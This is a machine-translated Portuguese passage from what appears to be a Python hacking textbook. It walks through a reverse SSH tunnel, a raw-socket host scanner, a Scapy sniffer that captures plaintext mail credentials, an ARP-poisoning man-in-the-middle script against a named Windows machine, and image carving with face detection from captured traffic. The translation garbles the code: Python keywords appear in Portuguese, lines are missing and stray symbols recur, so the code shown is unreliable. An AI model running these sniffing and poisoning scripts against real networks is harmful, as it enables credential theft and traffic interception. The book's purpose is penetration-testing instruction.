Visão simplificada da execução do comando:
Rede alvo
ssh -L 8008:web:80 justin@sshserver
Isso é muito legal, mas lembre-se de que poucos sistemas Windows executam
um serviço de servidor SSH. Nem tudo está perdido, no entanto. Podemos configurar
uma conexão de túnel SSH reverso. Neste caso, nos conectamos ao nosso próprio
servidor SSH a partir do cliente Windows da maneira usual. Através dessa conexão
SSH, também especificamos uma porta remota no servidor SSH que será encapsulada para
o host e porta locais (conforme mostrado na Figura 2-3). Esse
30 Capítulo 2
www.it-ebooks.info
Machine Translated by Google
host e porta locais podem ser usados, por exemplo, para expor a porta 3389 para
acessar um sistema interno usando área de trabalho remota ou para outro sistema
que o cliente Windows possa acessar (como o servidor web em nosso exemplo).
127.0.0.1
Porta 8008
Cliente SSH
Servidor SSH
servidor web
Visão simplificada da execução do comando:
ssh -L 8008:web:80 justin@sshserver Rede alvo
def principal():
ÿ opções, servidor, remoto = parse_options() senha = Nenhum
se opções.readpass:
senha = getpass.getpass('Digite a senha SSH: ')
ÿ cliente = paramiko.SSHClient()
cliente.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
verbose('Conectando ao host ssh %s:%d ...' % (server[0], server[1]))
tentar:
cliente.connect(servidor[0], servidor[1], nome de usuário=opções.usuário, ¬
nome_do_arquivo_chave=opções.arquivochave, ¬
look_for_keys=options.look_for_keys, senha=senha)
exceto Exceção como e:
print('*** Falha ao conectar-se a %s:%d: %r' % (servidor[0], servidor[1], e))
sys.exit(1)
tentar:
ÿ reverse_forward_tunnel(opções.porta, remoto[0], remoto[1], ¬
cliente.get_transport())
exceto KeyboardInterrupt:
print('Cc: Encaminhamento de porta interrompido.')
sys.exit(0)
www.it-ebooks.info
Machine Translated by Google
As poucas linhas na parte superior ÿ verifique novamente para ter certeza de que todos
os argumentos necessários foram passados para o script antes de configurar a conexão do
cliente SSH Parmakio ÿ (que deve parecer muito familiar). A seção final em main() chama
a função reverse_forward_tunnel ÿ.
Vamos dar uma olhada nessa função.
ÿ chan = transporte.accept(1000)
se chan for Nenhum:
continuar
ÿ thr = threading.Thread(target=handler, args=(chan, remote_host, ¬ porta_remota))
thr.setDaemon (Verdadeiro)
thr.start()
canal.enviar(dados)
se chan em r:
dados = chan.recv(1024)
se len(dados) == 0:
quebrar
meia.send(dados)
chan.close()
32 Capítulo 2
www.it-ebooks.info
Machine Translated by Google
meia.close()
verbose('Túnel fechado de %r' % (chan.origin_addr,))
Chutando os pneus
Você pode ver que na máquina Windows, fiz uma conexão com o servidor
SSH em 192.168.100.133 e abri a porta 8080 nesse servidor, que encaminhará o
tráfego para 192.168.100.128 porta 80. Agora, se eu navegar para http: //
127.0.0.1:8080 em meu servidor Linux, eu me conecto ao servidor web em
192.168.100.128 através do túnel SSH, conforme mostrado na Figura 2-4.
Se você voltar para a máquina Windows, também poderá ver a conexão sendo
feita no Paramiko:
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
3
A rede :
Soquetes brutos e niffing
www.it-ebooks.info
Machine Translated by Google
No capítulo anterior, abordamos como enviar e receber dados usando TCP e UDP e,
provavelmente, é assim que você interagirá com a maioria dos serviços de rede. Mas por trás desses
protocolos de nível superior estão os blocos de construção fundamentais de como os pacotes de
rede são enviados e recebidos. Você usará soquetes brutos para acessar informações de rede de
nível inferior, como IP bruto e cabeçalhos ICMP. No nosso caso, estamos interessados apenas
na camada IP e superior, portanto não decodificaremos nenhuma informação Ethernet.
Obviamente, se você pretende realizar ataques de baixo nível, como envenenamento por ARP, ou se
estiver desenvolvendo ferramentas de avaliação sem fio, precisará se familiarizar intimamente
com os frames Ethernet e seu uso.
Vamos começar com um breve passo a passo sobre como descobrir hosts ativos em um
segmento de rede.
O principal objetivo do nosso sniffer é realizar a descoberta de host baseada em UDP em uma
rede alvo. Os invasores desejam ver todos os alvos potenciais em uma rede para que possam
concentrar suas tentativas de reconhecimento e exploração.
Por que UDP? Não há sobrecarga em espalhar a mensagem por uma sub-rede inteira e
aguardar que as respostas ICMP cheguem adequadamente.
Este é um scanner bastante simples de construir, com a maior parte do trabalho sendo dedicada
à decodificação e análise dos vários cabeçalhos de protocolo de rede. Implementaremos este
scanner de host para Windows e Linux para maximizar a probabilidade de poder usá-lo dentro
de um ambiente corporativo.
Também poderíamos construir lógica adicional em nosso scanner para iniciar varreduras
completas de portas Nmap em qualquer host que descobrirmos para determinar se eles têm uma
superfície de ataque de rede viável. Estes são exercícios deixados para o leitor, e estou ansioso
para ouvir algumas das maneiras criativas de expandir esse conceito central. Vamos começar.
36 Capítulo 3
www.it-ebooks.info
Machine Translated by Google
soquete de importação
importe-nos
farejador.bind((host, 0))
Começamos construindo nosso objeto socket com os parâmetros necessários para farejar
pacotes em nossa interface de rede u. A diferença entre o Windows e o Linux é que o Windows
nos permitirá detectar todos os pacotes recebidos, independentemente do protocolo, enquanto
o Linux nos obriga a especificar que estamos detectando ICMP. Observe que estamos usando o
modo promíscuo, que requer privilégios administrativos no Windows ou root no Linux.
O modo promíscuo nos permite detectar todos os pacotes que a placa de rede vê, mesmo
aqueles não destinados ao seu host específico. Em seguida, definimos uma opção de soquete v
isso inclui os cabeçalhos IP em nossos pacotes capturados. A próxima etapa é determinar
se estamos usando o Windows e, em caso afirmativo, executamos a etapa adicional de
enviar um IOCTL ao driver da placa de rede para ativar o modo promíscuo. Se você estiver
executando o Windows em uma máquina virtual, provavelmente receberá uma notificação
de que o sistema operacional convidado está habilitando o modo promíscuo; você, é claro,
permitirá isso. Agora estamos prontos para realmente atuar
www.it-ebooks.info
Machine Translated by Google
algumas cheiradas e, neste caso, estamos simplesmente imprimindo todo o pacote bruto x
sem decodificação do pacote. Isso é apenas para testar e ter certeza de que o núcleo do nosso
código de detecção está funcionando. Depois que um único pacote é detectado, testamos
novamente o Windows e desabilitamos o modo promíscuo y antes de sair do script.
Chutando os pneus
Abra um novo terminal ou shell cmd.exe no Windows e execute o seguinte:
python sniffer.py
Em outro terminal ou janela do shell, você pode simplesmente escolher um host para executar ping.
Aqui, faremos ping em nostarch.com:
Na primeira janela onde você executou seu sniffer, você deverá ver
alguma saída ilegível que se parece muito com a seguinte:
('E\x00\x00:\x0f\x98\x00\x00\x80\x11\xa9\x0e\xc0\xa8\x00\xbb\xc0\xa8\x0
0\x01\x04\x01\x005\x00&\xd6d\n\xde\x01\x00\x00\x01\x00\x00\x00\x00\x00\
x00\x08nostarch\x03com\x00\x00\x01\x00\x01', ('192.168.0.187', 0))
Você pode ver que capturamos a solicitação de ping ICMP inicial destinada a
nostarch.com (com base na aparência da string nostarch.com).
Se você estiver executando este exemplo no Linux, receberá a resposta de nostarch.com.
Farejar um pacote não é muito útil, então vamos adicionar algumas funcionalidades para
processar mais pacotes e decodificar seu conteúdo.
Decodificando a camada IP
Na sua forma atual, nosso sniffer recebe todos os cabeçalhos IP junto com quaisquer
protocolos superiores, como TCP, UDP ou ICMP. A informação está compactada em
formato binário e, como mostrado acima, é bastante difícil de entender. Agora vamos trabalhar
na decodificação da parte IP de um pacote para que possamos extrair informações úteis, como
o tipo de protocolo (TCP, UDP, ICMP) e os endereços IP de origem e destino. Esta será a base
para você começar a criar análises de protocolo adicionais mais tarde.
38 Capítulo 3
www.it-ebooks.info
Machine Translated by Google
protocolo de internet
Pedaço
96 Endereço IP de origem
160 Opções
estrutura ip {
u_char ip_hl:4;
u_char ip_v:4;
u_char ip_tos;
u_short ip_len;
u_short ip_id;
u_short ip_off;
u_char ip_ttl;
u_char ip_p;
u_short ip_sum;
u_long ip_src;
u_long ip_dst;
}
Agora você tem uma ideia de como mapear os tipos de dados C para os valores do cabeçalho
IP. Usar o código C como referência ao traduzir para objetos Python pode ser útil porque facilita a
conversão para Python puro. É importante notar que os campos ip_hl e ip_v têm uma notação de
bit adicionada a eles (o :4
papel). Isso indica que esses são campos de bits e têm 4 bits de largura. Usaremos uma solução
Python pura para garantir que esses campos sejam mapeados corretamente, para que possamos
evitar qualquer manipulação de bits. Vamos implementar nossa rotina de decodificação de IP
em sniffer_ip_header_decode.py conforme mostrado abaixo.
soquete de importação
importe-nos
estrutura de importação
*
da importação de ctypes
www.it-ebooks.info
Machine Translated by Google
# nosso cabeçalho IP
você classe IP (Estrutura):
_campos_ = [
("agulha", c_ubyte, 4),
("versão", c_ubyte, 4),
("tos", c_ubyte),
("len", c_ushort),
("id", c_ushort),
("deslocamento", c_ushort),
("ttl", c_ubyte),
("núm_protocolo", c_ubyte),
("soma", c_ushort),
("src", c_ulong),
("dst", c_ulong)
]
soquete_protocol = soquete.IPPROTO_ICMP
farejador.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, soquete.IP_HDRINCL, 1)
se os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL,soquete.RCVALL_ON)
40 Capítulo 3
www.it-ebooks.info
Machine Translated by Google
tentar:
enquanto Verdadeiro:
#leia em um pacote
Em raw_buffer = sniffer.recvfrom(65565)[0]
# manipula CTRL-C
exceto KeyboardInterrupt:
A primeira etapa é definir uma estrutura Python ctypes u que mapeará os primeiros 20
bytes do buffer recebido em um cabeçalho IP amigável. Como você pode ver, todos os campos
que identificamos e a estrutura C anterior combinam perfeitamente. O método __new__ da
classe IP simplesmente pega um buffer bruto (neste caso, o que recebemos na rede) e forma
a estrutura a partir dele. Quando o método __init__ é chamado, __new__ já terminou o
processamento do buffer. Dentro de __init__, estamos simplesmente fazendo algumas
tarefas domésticas para fornecer alguma saída legível para o protocolo em uso e os
endereços IP v.
Com nossa estrutura IP recém-criada , agora colocamos a lógica para ler continuamente
os pacotes e analisar suas informações. O primeiro passo é ler o pacote w e depois passar
os primeiros 20 bytes x para inicializar nossa estrutura IP . A seguir, simplesmente imprimimos
as informações que capturamos y.
Vamos experimentar.
Chutando os pneus
Vamos testar nosso código anterior para ver que tipo de informação estamos extraindo
dos pacotes brutos enviados. Definitivamente, recomendo que você faça esse teste em sua
máquina Windows, pois você poderá ver TCP, UDP e ICMP, o que permite fazer alguns testes
bem legais (abrir um navegador, por exemplo). Se você estiver confinado ao Linux, execute o
teste de ping anterior para vê-lo em ação.
python sniffer_ip_header_decode.py
www.it-ebooks.info
Machine Translated by Google
Agora, como o Windows é bastante falador, é provável que você veja a saída
imediatamente. Testei esse script abrindo o Internet Explorer e acessando www
.google.com, e aqui está o resultado do nosso script:
Como não estamos fazendo nenhuma inspeção profunda nesses pacotes, só podemos
adivinhar o que esse fluxo está indicando. Meu palpite é que os primeiros pacotes UDP
são consultas DNS para determinar onde o google.com reside, e as sessões TCP
subsequentes são minha máquina realmente conectando e baixando conteúdo de seu
servidor web.
Para realizar o mesmo teste no Linux, podemos executar ping em google.com e
os resultados serão mais ou menos assim:
Decodificando ICMP
Agora que podemos decodificar totalmente a camada IP de quaisquer pacotes detectados,
precisamos ser capazes de decodificar as respostas ICMP que nosso scanner irá obter
ao enviar datagramas UDP para portas fechadas. As mensagens ICMP podem variar muito
em seu conteúdo, mas cada mensagem contém três elementos que permanecem
consistentes: os campos de tipo, código e soma de verificação. Os campos de tipo e código
informam ao host receptor que tipo de mensagem ICMP está chegando, o que então
determina como decodificá-la corretamente.
Para o propósito do nosso scanner, estamos procurando um valor de tipo 3 e
um valor de código de 3. Isso corresponde à classe Destino Inacessível de mensagens
ICMP, e o valor de código de 3 indica que a Porta Inacessível
erro foi causado. Consulte a Figura 3-2 para ver um diagrama de uma mensagem ICMP
de destino inacessível .
42 Capítulo 3
www.it-ebooks.info
Machine Translated by Google
Como você pode ver, os primeiros 8 bits são o tipo e os segundos 8 bits contêm
nosso código ICMP. Uma coisa interessante a notar é que quando um host envia uma
dessas mensagens ICMP, ela na verdade inclui o cabeçalho IP da mensagem de origem
que gerou a resposta. Também podemos ver que verificaremos novamente 8 bytes do
datagrama original que foi enviado para ter certeza de que nosso scanner gerou a
resposta ICMP. Para fazer isso, simplesmente cortamos os últimos 8 bytes do buffer
recebido para extrair a string mágica que nosso scanner envia.
Vamos adicionar mais código ao nosso sniffer anterior para incluir a capacidade de
decodificar pacotes ICMP. Vamos salvar nosso arquivo anterior como sniffer_with_icmp.py
e adicione o seguinte código:
--recorte--
classe IP (Estrutura):
--recorte--
_campos_ = [
("tipo", c_ubyte),
("código", c_ubyte),
("soma de verificação", c_ushort),
("não utilizado", c_ushort),
("next_hop_mtu", c_ushort)
]
--recorte--
Este simples trecho de código cria uma estrutura ICMP u abaixo de nosso
estrutura IP existente . Quando o loop principal de recebimento de pacotes determina que
recebemos um pacote ICMP v, calculamos o deslocamento no pacote bruto onde reside o corpo
ICMP w e então criamos nosso buffer ÿ e imprimimos os campos de tipo e código . O cálculo
do comprimento é baseado no campo ihl do cabeçalho IP , que indica o número de palavras de
32 bits (pedaços de 4 bytes) contidas no cabeçalho IP. Portanto, multiplicando este campo por
4, sabemos o tamanho do cabeçalho IP e, portanto, quando a próxima camada de rede—
Isso indica que as respostas do ping (ICMP Echo) estão sendo corretas
recebido e decodificado. Agora estamos prontos para implementar a última parte da lógica para
enviar os datagramas UDP e interpretar seus resultados.
Agora vamos adicionar o uso do módulo netaddr para que possamos cobrir uma sub-rede
inteira com nossa varredura de descoberta de host. Salve seu sniffer_with_icmp.py
script como scanner.py e adicione o seguinte código:
importar threading
hora de importação
de netaddr importar IPNetwork,IPAddress
--recorte--
44 Capítulo 3
www.it-ebooks.info
Machine Translated by Google
tentar:
sender.sendto(magic_message,("%s" % ip,65212))
exceto:
passar
--recorte--
--recorte--
tentar:
enquanto Verdadeiro:
--recorte--
#print "ICMP -> Tipo: %d Código: %d" % (icmp_header.type, icmp_header.¬
código)
Chutando os pneus
Agora vamos pegar nosso scanner e executá-lo na rede local. Você pode usar Linux ou
Windows para isso, pois os resultados serão os mesmos. No meu caso, o endereço IP
da máquina local em que eu estava era 192.168.0.187, então configurei meu scanner
para atingir 192.168.0.0/24. Se a saída for muito barulhenta quando você executar o
scanner, simplesmente comente todas as instruções de impressão, exceto a última
que informa quais hosts estão respondendo.
www.it-ebooks.info
Machine Translated by Google
O módulo netaddr e
Nosso scanner usará uma biblioteca de terceiros chamada netaddr, que nos permitirá alimentar
uma máscara de sub-rede como 192.168.0.0/24 e fazer com que nosso scanner a lide
adequadamente. Baixe a biblioteca aqui: http://code.google
.com/p/netaddr/downloads/list
Ou, se você instalou o pacote de ferramentas de configuração do Python no Capítulo 1, você
pode simplesmente executar o seguinte em um prompt de comando:
easy_install netaddr
O módulo netaddr facilita muito o trabalho com sub-redes e endereçamento. Por exemplo,
você pode executar testes simples como os seguintes usando o IPNetwork
objeto:
endereço_ip = "192.168.112.3"
se endereço_ip em IPNetwork("192.168.112.0/24"):
imprimir Verdadeiro
Ou você pode criar iteradores simples se quiser enviar pacotes para uma rede inteira:
para ip em IPNetwork("192.168.112.1/24"):
s = soquete.socket()
s.conectar((ip, 25))
# envia pacotes de email
Isso simplificará bastante sua vida de programação ao lidar com redes inteiras de uma vez
e é ideal para nossa ferramenta de descoberta de host. Depois de instalado, você está pronto para
prosseguir.
c:\Python27\python.exe scanner.py
Hospedar: 192.168.0.1
Hospedar: 192.168.0.190
Hospedar: 192.168.0.192
Hospedar: 192.168.0.195
Para uma verificação rápida como a que realizei, levou apenas alguns
segundos para recuperar os resultados. Ao cruzar esses endereços IP com a tabela
DHCP no meu roteador doméstico, consegui verificar se os resultados eram precisos.
Você pode expandir facilmente o que aprendeu neste capítulo para decodificar
pacotes TCP e UDP e criar ferramentas adicionais em torno disso. Este scanner
também é útil para a estrutura de trojan que começaremos a construir no Capítulo 7.
Isso permitiria que um trojan implantado verificasse a rede local em busca de
alvos adicionais. Agora que conhecemos o básico de como as redes funcionam em
alto e baixo nível, vamos explorar uma biblioteca Python muito madura chamada
Scapy.
46 Capítulo 3
www.it-ebooks.info
Machine Translated by Google
4
Possuindo a rede com o Scapy
www.it-ebooks.info
Machine Translated by Google
Eu recomendo que você use o Scapy em um sistema Linux, pois ele foi projetado para
funcionar com o Linux em mente. A versão mais recente do Scapy oferece suporte ao Windows,1
mas, para os fins deste capítulo, presumirei que você está usando sua VM Kali que possui uma
instalação do Scapy totalmente funcional. Se você não tem o Scapy, acesse http:// www.secdev.org/
projects/ scapy/ para instalá-lo.
Para ter uma ideia do Scapy, vamos começar construindo um farejador de esqueleto que sim-
ply disseca e despeja os pacotes. A função sniff apropriadamente nomeada se parece com o
seguinte:
sniff(filtro="",iface="qualquer",prn=função,contagem=N)
O parâmetro filter nos permite especificar um filtro BPF (estilo Wireshark) para os pacotes que o
Scapy fareja, que pode ser deixado em branco para farejar todos os pacotes.
Por exemplo, para detectar todos os pacotes HTTP você usaria um filtro BPF da porta tcp 80. O
parâmetro iface informa ao sniffer qual interface de rede deve ser detectada; se deixado em
branco, o Scapy irá detectar todas as interfaces. O parâmetro prn especifica uma função de retorno
de chamada a ser chamada para cada pacote que corresponda ao filtro, e a função de retorno
de chamada recebe o objeto pacote como seu único parâmetro. O parâmetro count especifica
quantos pacotes você deseja detectar; se deixado em branco, o Scapy farejará indefinidamente.
Vamos começar criando um sniffer simples que detecta um pacote e despeja seu conteúdo. Em
seguida, expandiremos para detectar apenas comandos relacionados a e-mail. Abra mail_sniffer.py e
digite o seguinte código:
*
da importação de scapy.all
48 Capítulo 4
www.it-ebooks.info
Machine Translated by Google
Começamos definindo nossa função de retorno de chamada que receberá cada pacote
detectado ÿ e então simplesmente informamos ao Scapy para começar a detectar ÿ em todas as
interfaces sem filtragem. Agora vamos executar o script e você verá uma saída semelhante à
mostrada abaixo.
$ python2.7 mail_sniffer.py
AVISO: Nenhuma rota encontrada para o destino IPv6 :: (nenhuma rota padrão?)
###[Ethernet]###
DST = 10:40:f3:ab:71:02 =
fonte 00:18:e7:ff:5c:f8
tipo = 0x800
###[IP]###
versão = 4L ihl
= 5L
isso é = 0x0
apenas = 52
identificação = 35232
=DF
= 0L
= 51
=tcp
sinalizadores frag ttl proto chksum
= 0x4a51
fonte = 195.91.239.8 =
dst 192.168.0.198
\opções\
###[TCP]###
esporte = etlservicemgr dport = 54000
= 4154787032
confirmação sequencial = 2619128538
dados de = 8L
reservado = 0L
bandeiras =
Nenhum
Quão incrivelmente fácil foi isso! Podemos ver que quando o primeiro pacote foi
recebido na rede, nossa função de retorno de chamada usou a função integrada packet.show()
para exibir o conteúdo do pacote e dissecar algumas das informações do protocolo. Usar show() é
uma ótima maneira de depurar scripts à medida que você avança para garantir que está capturando
a saída desejada.
Agora que temos nosso sniffer básico em execução, vamos aplicar um filtro e adicionar
alguma lógica à nossa função de retorno de chamada para remover strings de autenticação
relacionadas a e-mail.
www.it-ebooks.info
Machine Translated by Google
*
da importação de scapy.all
def packet_callback(pacote):
ÿ se pacote[TCP].carga útil:
Coisas bem diretas aqui. Alteramos nossa função sniff para adicionar um filtro
que inclui apenas o tráfego destinado às portas de correio comuns 110 (POP3), 143
(IMAP) e SMTP (25) ÿ. Também usamos um novo parâmetro chamado store, que
quando definido como 0 garante que o Scapy não mantenha os pacotes na memória. É
uma boa ideia usar este parâmetro se você pretende deixar um sniffer em execução
por um longo prazo, pois assim você não consumirá grandes quantidades de RAM.
Quando nossa função de retorno de chamada é chamada, verificamos se ela possui
uma carga útil de dados ÿ e se a carga contém os comandos de correio USER ou
PASS típicos ÿ. Se detectarmos uma string de autenticação, imprimimos o servidor
para o qual a estamos enviando e os bytes de dados reais do pacote ÿ.
Chutando os pneus
Aqui está um exemplo de saída de uma conta de e-mail fictícia à qual tentei conectar
meu cliente de e-mail:
Você pode ver que meu cliente de e-mail está tentando fazer login no servidor em
25.57.168.12 e enviar as credenciais de texto simples pela rede. Este é um exemplo
muito simples de como você pode pegar um script de detecção do Scapy e transformá-lo
em uma ferramenta útil durante testes de penetração.
Farejar seu próprio tráfego pode ser divertido, mas é sempre melhor fazer isso
com um amigo, então vamos dar uma olhada em como você pode realizar um ataque de
envenenamento ARP para farejar o tráfego de uma máquina alvo na mesma rede.
50 Capítulo 4
www.it-ebooks.info
Machine Translated by Google
Agora que sabemos o que precisamos fazer, vamos colocar em prática. Quando testei isso,
ataquei uma máquina Windows real e usei minha VM Kali como máquina de ataque. Também
testei esse código em vários dispositivos móveis conectados a um ponto de acesso sem fio e
funcionou muito bem. A primeira coisa que faremos é verificar o cache ARP na máquina Windows
de destino para que possamos ver nosso ataque em ação mais tarde. Examine o seguinte para ver
como inspecionar o cache ARP em sua VM do Windows.
C:\Users\Clare> ipconfig
Configuração IP do Windows
C:\Usuários\Clare> arp -a
Portanto, agora podemos ver que o endereço IP do gateway ÿ está em 172.16.1.254 e sua
entrada de cache ARP associada ÿ tem um endereço MAC de 3c-ea-4f-2b-41-f9.
Tomaremos nota disso porque podemos visualizar o cache ARP enquanto o ataque está em
andamento e ver que alteramos o registro do gateway
www.it-ebooks.info
Machine Translated by Google
*
de scapy.all importar importar
sistema operacional
sistema de importação
importar threading
sinal de importação
interface = "en1"
target_ip = "172.16.1.71"
gateway_ip = "172.16.1.254"
contagem_de_pacotes = 1000
#desliga a saída
conf.verbo = 0
ÿ gateway_mac = get_mac(gateway_ip)
ÿ target_mac = get_mac(target_ip)
tentar:
print "[*] Iniciando sniffer para %d pacotes" % packet_count
52 Capítulo 4
www.it-ebooks.info
Machine Translated by Google
#restaurar a rede
ÿ restaurar_target(gateway_ip,gateway_mac,target_ip,target_mac)
exceto KeyboardInterrupt:
#restaurar a rede
restaurar_target(gateway_ip,gateway_mac,target_ip,target_mac)
sys.exit(0)
def restaurar_target(gateway_ip,gateway_mac,target_ip,target_mac):
def get_mac(endereço_ip):
retornar Nenhum
www.it-ebooks.info
Machine Translated by Google
def veneno_target(gateway_ip,gateway_mac,target_ip,target_mac):
ÿ alvo_veneno = ARP()
veneno_target.op = 2
veneno_target.psrc=gateway_ip
veneno_target.pdst=target_ip
veneno_target.hwdst=target_mac
ÿ veneno_gateway = ARP()
veneno_gateway.op = 2
veneno_gateway.psrc = target_ip
veneno_gateway.pdst = gateway_ip
veneno_gateway.hwdst = gateway_mac
ÿ enquanto Verdadeiro:
tente:
enviar(poison_target)
enviar(poison_gateway)
hora.sleep(2)
exceto KeyboardInterrupt:
restaurar_target(gateway_ip,gateway_mac,target_ip,target_mac)
Chutando os pneus
Antes de começarmos, precisamos primeiro informar à nossa máquina host local que
podemos encaminhar pacotes tanto para o gateway quanto para o endereço IP de destino.
Se você estiver em sua VM Kali, digite o seguinte comando em seu terminal:
54 Capítulo 4
www.it-ebooks.info
Machine Translated by Google
C:\Usuários\Clare> arp -a
Agora você pode ver que a pobre Clare (é difícil ser casada com um hacker,
hackear não é fácil, etc.) agora tem seu cache ARP envenenado, onde o gateway agora
tem o mesmo endereço MAC do computador atacante. Você pode ver claramente na
entrada acima do gateway que estou atacando de 172.16.1.64.
Quando o ataque terminar de capturar pacotes, você deverá ver um arper.pcap
arquivo no mesmo diretório do seu script. É claro que você pode fazer coisas como forçar
o computador de destino a fazer proxy de todo o seu tráfego por meio de uma instância
local do Burp ou fazer uma série de outras coisas desagradáveis. Você pode querer
manter esse PCAP para a próxima seção sobre processamento de PCAP – você nunca
sabe o que pode encontrar!
Processamento PCAP
Wireshark e outras ferramentas como Network Miner são ótimas para explorar
interativamente arquivos de captura de pacotes, mas haverá momentos em que você
desejará dividir PCAPs usando Python e Scapy. Alguns ótimos casos de uso são a
geração de casos de teste difusos com base no tráfego de rede capturado ou até
mesmo algo tão simples como reproduzir o tráfego que você capturou anteriormente.
www.it-ebooks.info
Machine Translated by Google
importar re
importar zlib
importar cv2
*
da importação de scapy.all
images_directory = "/home/justin/pic_carver/pictures"
faces_directory = "/home/justin/pic_carver/faces"
arquivo_pcap = "bhp.pcap"
def http_assembler(pcap_file):
imagens_esculpidas = 0
faces_detectadas = 0
ÿ a = rdpcap(arquivo_pcap)
ÿ sessões =a.sessões()
""
http_payload =
tentar:
se pacote[TCP].dport == 80 ou pacote[TCP].sport == 80:
ÿ #remontar o stream
http_payload += str(pacote[TCP].payload)
exceto:
passar
ÿ cabeçalhos = get_http_headers(http_payload)
56 Capítulo 4
www.it-ebooks.info
Machine Translated by Google
ÿ imagem,image_type = extract_image(cabeçalhos,http_payload)
#armazena a imagem
ÿ file_name = "%s-pic_carver_%d.%s" % ¬
(pcap_file,carved_images,image_type)
fd = abrir("%s/%s" % ¬
(diretório_imagens,nome_arquivo),"wb")
fd.write(imagem)
fd.fechar()
imagens_esculpidas += 1
faces_detectadas += 1
exceto:
passar
def get_http_headers(http_payload):
tente:
# divida os cabeçalhos se for tráfego HTTP headers_raw =
http_payload[:http_payload.index("\r\n\r\n")+2]
# separa os cabeçalhos
cabeçalhos = dict(re.findall(r"(?P<nome>.*?): (?P<valor>.*?)\r\n", ¬ headers_raw))
exceto:
retornar Nenhum
cabeçalhos de retorno
def extract_image(cabeçalhos,http_payload):
imagem =
tente:
se "imagem" nos cabeçalhos ['Content-Type']:
imagem = http_payload[http_payload.index("\r\n\r\n")+4:]
"Content-Encoding" em headers.keys():
if headers['Content-Encoding'] == "gzip": imagem =
zlib.decompress(imagem, 16+zlib.MAX_WBITS)
elif headers['Content-Encoding'] == "deflate": imagem =
zlib.decompress(image)
exceto:
passar
exceto:
retornar Nenhum,Nenhum
Essas funções de suporte nos ajudam a examinar mais de perto os dados HTTP
que recuperamos de nosso arquivo PCAP. A função get_http_headers
58 Capítulo 4
www.it-ebooks.info
Machine Translated by Google
pega o tráfego HTTP bruto e divide os cabeçalhos usando uma expressão regular. A
função extract_image pega os cabeçalhos HTTP e determina se recebemos uma imagem
na resposta HTTP. Se detectarmos que o cabeçalho Content-Type realmente contém o tipo
MIME da imagem, dividimos o tipo de imagem; e se houver compactação aplicada à
imagem em trânsito, tentamos descompactá-la antes de retornar o tipo de imagem e o buffer
da imagem bruta. Agora vamos inserir nosso código de detecção facial para determinar se
há um rosto humano em alguma das imagens que recuperamos.
def face_detect(caminho,nome_arquivo):
se len(rects) == 0: retorne
Falso
ÿ cv2.imwrite("%s/%s-%s" % (faces_directory,pcap_file,file_name),img)
retornar verdadeiro
Este código foi generosamente compartilhado por Chris Fidao em http:// www.fideloper
.com/ detecção facial/ com pequenas modificações de sua parte. Usando as ligações
OpenCV Python, podemos ler a imagem ÿ e então aplicar um classificador ÿ que é treinado
antecipadamente para detectar faces na orientação frontal. Existem classificadores para
detecção de rosto de perfil (lateral), mãos, frutas e uma série de outros objetos que você pode
experimentar por si mesmo.
Após a execução da detecção, ela retornará coordenadas retangulares que correspondem ao
local onde o rosto foi detectado na imagem. Em seguida, desenhamos um retângulo verde
real sobre essa área ÿ e escrevemos a imagem resultante ÿ.
Agora vamos dar uma olhada em tudo isso dentro de sua VM Kali.
Chutando os pneus
www.it-ebooks.info
Machine Translated by Google
Isso deve instalar todos os arquivos necessários para lidar com a detecção
facial em nossas imagens resultantes. Também precisamos pegar o arquivo de treinamento
de detecção facial assim:
wget http://eclecti.cc/files/2008/03/haarcascade_frontalface_alt.xml
Agora crie alguns diretórios para nossa saída, insira um PCAP e execute o script.
Isso deve ser parecido com isto:
Você pode ver uma série de mensagens de erro sendo produzidas pelo OpenCV
devido ao fato de que algumas das imagens que inserimos nele podem estar
corrompidas ou baixadas parcialmente ou seu formato pode não ser suportado.
(Deixarei a construção de uma rotina robusta de extração e validação de imagens
como uma tarefa de casa para você.) Se você abrir o diretório de rostos, deverá ver
vários arquivos com rostos e caixas verdes mágicas desenhadas ao redor deles.
Essa técnica pode ser usada para determinar quais tipos de conteúdo seu público-
alvo está visualizando, bem como para descobrir abordagens prováveis por meio de
engenharia social. É claro que você pode estender este exemplo além de usá-lo em
imagens esculpidas de PCAPs e usá-lo em conjunto com técnicas de rastreamento e
análise da Web descritas em capítulos posteriores.
60 Capítulo 4
www.it-ebooks.info
Machine Translated by Google
5
Hackers da Web
www.it-ebooks.info
Machine Translated by Google
importar urllib2
ÿ corpo = urllib2.urlopen("http://www.nostarch.com")
ÿ imprimir body.read()
Este é o exemplo mais simples de como fazer uma solicitação GET para um site. Esteja
ciente de que estamos apenas buscando a página bruta do site No Starch e que nenhum JavaScript
ou outra linguagem do lado do cliente será executada.
Simplesmente passamos uma URL para a função urlopen ÿ e ela retorna um objeto semelhante a
um arquivo que nos permite ler ÿ o corpo do que o servidor web remoto retorna. Na maioria dos casos,
entretanto, você desejará um controle mais refinado sobre como fazer essas solicitações, incluindo
a capacidade de definir cabeçalhos específicos, manipular cookies e criar solicitações POST. urllib2
expõe uma classe Request que oferece esse nível de controle. Abaixo está um exemplo de como
criar a mesma solicitação GET usando a classe Request e definindo um cabeçalho HTTP User-
Agent personalizado:
importar urllib2
url = "http://www.nostarch.com"
ÿ headers = {}
headers['User-Agent'] = "Googlebot"
ÿ solicitação = urllib2.Request(url,headers=headers) ÿ
resposta = urllib2.urlopen(solicitação)
imprimir resposta.read()
resposta.fechar()
Agora temos os meios fundamentais para conversar com serviços web e web-
sites, então vamos criar algumas ferramentas úteis para qualquer ataque de aplicação web ou
teste de penetração.
62 Capítulo 5
www.it-ebooks.info
Machine Translated by Google
fila de importação
importar threading
importe-nos
importar urllib2
